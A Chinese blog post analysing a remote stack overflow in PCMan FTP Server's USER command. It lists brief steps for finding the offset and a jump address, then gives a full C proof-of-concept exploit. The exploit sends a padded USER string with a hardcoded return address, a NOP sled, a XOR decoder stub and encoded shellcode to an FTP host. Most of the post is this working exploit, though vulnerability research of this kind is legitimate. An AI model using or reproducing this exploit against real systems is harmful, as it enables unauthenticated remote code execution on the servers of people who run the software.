版权声明:本文为博主原创文章,转载请注明出处。 https://blog.csdn.net/D_K_01/article/details/80811428
0x00 软件简介
PCMan FTP Server是一款简便架设FTP的软件,由于此软件未能有效处理FTP命令的字符长度,引发栈溢出漏洞,导致攻击者可以远程执行任何命令。
0x01 漏洞成因
用于FTP登陆的”USER”命令可触发此漏洞,在未提前获得目标的FTP访问的权限下,就可对其进行溢出攻击,影响极其严重。
0x02 溢出测试
建立Socket连接,连接目标FTP
接收FTP服务端欢迎语
发送登录请求
接收请求结果
正常请求
Mona2 构造字符串
得到偏移值 2008
查找跳板指令
0x03 利用过程
构造Exploit
Win7下弹窗内容不能正常显示
Win10,偏移值为2012
0x04 Poc
#include "stdafx.h"
#include <WinSock2.h>
#pragma comment(lib,"Ws2_32.lib")
//加密ShellCode
char cShellCode[] = \
"\x67\x84\xEB\x78\xEC\x53\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63"\
"\x75\x62\x74\x74\x07\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75"\
"\x7E\x42\x7F\x46\x07\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B"\
"\x07\x07\x4A\x62\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x07\x42"\
"\x7F\x6E\x73\x57\x75\x68\x64\x62\x74\x74\x07\x07\x4F\x62\x6B\x6B"\
"\x68\x27\x50\x68\x75\x6B\x63\x26\x07\x07\xEF\x07\x07\x07\x07\x5C"\
"\x63\x8C\x32\x37\x07\x07\x07\x8C\x71\x0B\x8C\x71\x1B\x8C\x31\x8C"\
"\x51\x0F\x54\x55\xEF\x13\x07\x07\x07\x8C\xF7\x55\x8A\x4C\xB0\x56"\
"\x55\xF8\xD7\x5D\x54\x51\x57\x55\xEF\x69\x07\x07\x07\x52\x8C\xEB"\
"\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B\x8A\x33\x35\x8C\x71\x7F"\
"\x8A\x33\x35\x8C\x79\x1B\x8A\x3B\x3D\x8E\x7A\xFB\x8C\x79\x27\x8A"\
"\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23\x8A\x3B\x3D\x8E\x7A\xF3\x34\xC7"\
"\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C\x52\x0F\x8A\x33\x35\x8C"\
"\x5A\x0B\x8A\x7C\xA0\xBE\x09\x07\x07\x07\xFB\xF4\xA1\x72\xE4\x8C"\
"\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52\xFB\x8C\x33\xBD\x8C\x52"\
"\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB"\
"\x0F\x8C\x5A\x13\x8A\x4C\xC0\x34\xC7\x57\x57\x56\xF8\x52\x0B\x8A"\
"\x4C\xD4\x56\x57\xF8\x52\x17\x8E\x42\xFB\x8A\x4C\xE7\x56\xF8\x72"\
"\x0F\xF8\x52\x17\x8E\x42\xFF\x34\xC7\x8A\x4C\xEA\x57\x56\x56\x57"\
"\xF8\x52\xFB\x6D\x07\xF8\x52\xFF\x8C\xE2\x5A\xC5\x0F\x07\x07";
//解密代码
char cDecode[] = {
0x33,0xC0, // xor eax,eax
0xE8,0xFF,0xFF,0xFF,0xFF, // call 0xFFFFFFFF
0xC3, // retn
0x58, // pop eax ;eax=GetPc
0x8D,0x70,0x1B, // lea esi,[eax+0x1B] ;esi=Shellcode
0x33,0xC9, // xor ecx,ecx ;ecx=循环计数器
0x66,0xB9,0x40,0x01, // mov cx,0x0136 ;cx =She..体积
//tag_Decode:
0x8A,0x04,0x0E, // mov al,[esi+ecx] ;al =解密前字节
0x34,0x07, // xor al,0x07 ;0x07为Key,
0x88,0x04,0x0E , // mov [esi+ecx],al
0xE2,0xF6, // loop tag_Decode
0x80,0x34,0x0E,0x07 , // xor [esi+ecx],0x07 ;解密最后一字节
0xFF,0xE6 }; // jmp esi ;跳到Shellcode
int main()
{ //初始化套接字
WSADATA stWSA;
WSAStartup(0X0202, &stWSA);
//创建套接字
SOCKET strListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
//绑定端口
SOCKADDR_IN stService;
stService.sin_addr.s_addr = inet_addr("192.168.2.3");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
//连接
connect(strListen, (SOCKADDR*)&stService, sizeof(stService));
char szRecv[0x100] = { 0 };
char *pCommand = "USER anonymouse";
recv(strListen, szRecv, sizeof(szRecv), 0);
printf("%s", szRecv);
//构造Exploiit
char cExploit[3000] = { 0 };
char cFill[3000] = { 0 };
char cNop[50] = { 0 };
char cJMP[5] = "\xf7\xf7\x03\x77";
memset(cFill, 'A', 2003);
memset(cNop, '\x90', sizeof(cNop) - 1);
sprintf_s(cExploit, "USER %s%s%s%s%s%s", cFill, cJMP, cNop, cDecode, cShellCode,"\r\n");
//发送登录请求
send(strListen, cExploit, strlen(cExploit), 0);
recv(strListen, szRecv, sizeof(szRecv), 0);
printf("%s", szRecv);
//退出程序
closesocket(strListen);
WSACleanup();
return 0;
}